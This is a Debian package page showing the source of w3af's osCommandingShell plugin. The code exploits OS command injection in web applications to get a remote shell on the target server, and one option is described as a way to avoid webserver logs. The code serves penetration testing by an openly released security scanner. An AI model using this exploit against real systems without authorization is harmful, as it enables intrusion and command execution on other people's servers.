/usr/share/w3af/plugins/attack/osCommandingShell.py is in w3af-console 1.1svn5547-1.1.
This file is owned by root:root, with mode 0o644.
The actual contents of the file can be viewed below.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 | '''
osCommandingShell.py
Copyright 2006 Andres Riancho
This file is part of w3af, w3af.sourceforge.net .
w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.
w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
'''
# options
from core.data.options.option import option
from core.data.options.optionList import optionList
from core.data.kb.exec_shell import exec_shell as exec_shell
from core.data.fuzzer.fuzzer import createRandAlpha
from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin
from core.controllers.w3afException import w3afException
import core.controllers.outputManager as om
from plugins.attack.payloads.decorators.exec_decorator import exec_debug
class osCommandingShell(baseAttackPlugin):
'''
Exploit OS Commanding vulnerabilities.
@author: Andres Riancho ( andres.riancho@gmail.com )
'''
def __init__(self):
baseAttackPlugin.__init__(self)
# User configured parameter
self._change_to_post = True
self._url = ''
self._separator = ';'
self._data = ''
self._inj_var = ''
self._method = 'GET'
def fastExploit( self ):
'''
Exploits a web app with osCommanding vuln, the settings are configured using setOptions()
'''
raise w3afException('Not implemented.')
def getAttackType(self):
'''
@return: The type of exploit, SHELL, PROXY, etc.
'''
return 'shell'
def getVulnName2Exploit( self ):
'''
This method should return the vulnerability name (as saved in the kb) to exploit.
For example, if the audit.osCommanding plugin finds an vuln, and saves it as:
kb.kb.append( 'osCommanding' , 'osCommanding', vuln )
Then the exploit plugin that exploits osCommanding ( attack.osCommandingShell ) should
return 'osCommanding' in this method.
'''
return 'osCommanding'
def _generateShell( self, vuln ):
'''
@parameter vuln: The vuln to exploit.
@return: The shell object based on the vulnerability that was passed as a parameter.
'''
# Check if we really can execute commands on the remote server
if self._verifyVuln( vuln ):
if vuln.getMethod() != 'POST' and self._change_to_post and \
self._verifyVuln( self.GET2POST( vuln ) ):
msg = 'The vulnerability was found using method GET, but POST is being used'
msg += ' during this exploit.'
om.out.console( msg )
vuln = self.GET2POST( vuln )
else:
msg = 'The vulnerability was found using method GET, tried to change the method to'
msg += ' POST for exploiting but failed.'
om.out.console( msg )
# Create the shell object
shell_obj = osShell( vuln )
shell_obj.setUrlOpener( self._uri_opener )
shell_obj.set_cut( self._header_length, self._footer_length )
return shell_obj
else:
return None
def _verifyVuln( self, vuln ):
'''
This command verifies a vuln. This is really hard work!
@return : True if vuln can be exploited.
'''
# The vuln was saved to the kb as:
# kb.kb.append( self, 'osCommanding', v )
exploitDc = vuln.getDc()
# Define a test command:
rand = createRandAlpha( 8 )
if vuln['os'] == 'windows':
command = vuln['separator'] + 'echo ' + rand
# TODO: Confirm that this works in windows
rand = rand + '\n\n'
else:
command = vuln['separator'] + '/bin/echo ' + rand
rand = rand + '\n'
# Lets define the result header and footer.
functionReference = getattr( self._uri_opener , vuln.getMethod() )
exploitDc[vuln.getVar()] = command
try:
response = functionReference( vuln.getURL(), str(exploitDc) )
except w3afException, e:
om.out.error( str(e) )
return False
else:
return self._define_exact_cut( response.getBody(), rand )
def getOptions(self):
'''
@return: A list of option objects for this plugin.
'''
d1 = 'URL to exploit with fastExploit()'
o1 = option('url', self._url, d1, 'url')
d2 = 'HTTP method to use with fastExploit()'
o2 = option('method', self._method, d2, 'string')
d3 = 'Data to send with fastExploit()'
o3 = option('data', self._data, d3, 'string')
d4 = 'Variable where to inject with fastExploit()'
o4 = option('injvar', self._inj_var, d4, 'string')
d5 = 'If the vulnerability was found in a GET request, try to change the method to POST'
d5 += ' during exploitation.'
h5 = 'If the vulnerability was found in a GET request, try to change the method to POST'
h5 += 'during exploitation; this is usefull for not being logged in the webserver logs.'
o5 = option('changeToPost', self._change_to_post, d5, 'boolean', help=h5)
d6 = 'The command separator to be used.'
h6 = 'In an OS commanding vulnerability, a command separator is used to separate the'
h6 += ' original command from the customized command that the attacker want\'s to execute.'
h6 += ' Common command separators are ;, & and |.'
o6 = option('separator', self._separator, d6, 'string', help=h6)
ol = optionList()
ol.add(o1)
ol.add(o2)
ol.add(o3)
ol.add(o4)
ol.add(o5)
ol.add(o6)
return ol
def setOptions( self, optionsMap ):
'''
This method sets all the options that are configured using the user interface
generated by the framework using the result of getOptions().
@parameter OptionList: A dictionary with the options for the plugin.
@return: No value is returned.
'''
if optionsMap['method'].getValue() not in ['GET', 'POST']:
raise w3afException('Unknown method.')
else:
self._method = optionsMap['method'].getValue()
self._data = optionsMap['data'].getValue()
self._inj_var = optionsMap['injvar'].getValue()
self._separator = optionsMap['separator'].getValue()
self._url = optionsMap['url'].getValue()
self._change_to_post = optionsMap['changeToPost'].getValue()
def getRootProbability( self ):
'''
@return: This method returns the probability of getting a root shell using this attack plugin.
This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones.
This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS
return a root shell.
'''
return 0.8
def getLongDesc( self ):
'''
@return: A DETAILED description of the plugin functions and features.
'''
return '''
This plugin exploits os commanding vulnerabilities and returns a remote shell.
Seven configurable parameters exist:
- changeToPost
- url
- method
- injvar
- data
- separator
- generateOnlyOne
'''
class osShell(exec_shell):
@exec_debug
def execute(self, command):
'''
This method executes a command in the remote operating system by
exploiting the vulnerability.
@parameter command: The command to handle ( ie. "ls", "whoami", etc ).
@return: The result of the command.
'''
functionReference = getattr( self._uri_opener , self.getMethod() )
exploit_dc = self.getDc()
exploit_dc[ self.getVar() ] = self['separator'] + command
try:
response = functionReference( self.getURL() , str(exploit_dc) )
except w3afException, e:
return 'Error "' + str(e) + '" while sending command to remote host. Please try again.'
else:
return self._cut( response.getBody() )
def end( self ):
om.out.debug('osShell cleanup complete.')
def getName( self ):
return 'osCommandingShell'
|